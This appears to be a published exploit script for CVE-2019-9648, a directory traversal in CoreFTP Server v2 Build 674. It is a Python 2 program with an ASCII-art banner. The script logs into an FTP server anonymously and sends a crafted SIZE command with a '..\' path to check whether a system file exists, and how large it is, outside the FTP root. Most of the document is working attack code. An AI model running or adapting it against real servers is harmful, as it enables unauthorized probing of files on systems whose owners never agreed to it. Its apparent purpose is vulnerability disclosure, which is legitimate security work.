# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 SIZE Directory Traversal
# Google Dork: N/A
# Date: 4/27/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7
# CVE : CVE-2019-9648
#!/usr/bin/python
import socket
import sys
########################################################
###########Set Variables For Script Here################
file_to_look_for = "nslookup.exe"
local_disk_drive = " C:"
path_traversal = "\..\..\..\..\..\Windows\System32\\"
########################################################
print ("""
##### # # ####### ##### ### # ##### ##### ##### # #####
# # # # # # # # # ## # # # # # # # # # #
# # # # # # # # # # # # # # # # # #
# # # ##### ##### ##### # # # ###### ##### ###### ###### # # #####
# # # # # # # # # # # # ####### # #
# # # # # # # # # # # # # # # # # #
##### # ####### ####### ### ##### ##### ##### ##### # #####
#######
# # # ##### # #### # #####
# # # # # # # # # #
##### ## # # # # # # #
# ## ##### # # # # #
# # # # # # # # #
####### # # # ###### #### # #
# # ###### # # #
# # # ##### # ##### ##### ###### # # # # # # ### # # ###### # # # # #
# # # # # # # # # ## # # # # # # # # # # # # ## #
# # # # # # # # ##### # # # ###### # ### ##### # # # # # #
# # # ##### # # # # # # # # # # # # # # # # # # # #
# # # # # # # # # # ## # # # ### # # # # # # # ##
## ## # # # # # ###### # # ###### # # # # ###### ## # # #
######
# # ## # # ##### ## # #
# # # # ## # # # # # # #
###### # # # # # # # # # # #
# # ###### # # # # # ###### # #
# # # # # ## # # # # # #
# # # # # # ##### # # ###### ######
""")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.0.4',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.recv(1024)
s.send('SIZE' +local_disk_drive+path_traversal+file_to_look_for + '\r\n')
result = s.recv(2048)
trimmedoutput = result.strip()
splitoutput = trimmedoutput.split(' ')
realresult = unicode (trimmedoutput,'utf-8')
realresult2 = unicode (splitoutput[1],'utf-8')
isnum = realresult.isnumeric()
isnum2 = realresult2.isnumeric()
if isnum2:
print "The file " + file_to_look_for + " exist on the remote server. Here is the filesize:" + splitoutput[1]
else:
print "The file " + file_to_look_for + " does not exist on the remote server or one of the variables declared is incorrect."
s.send('QUIT\r\n')
s.close
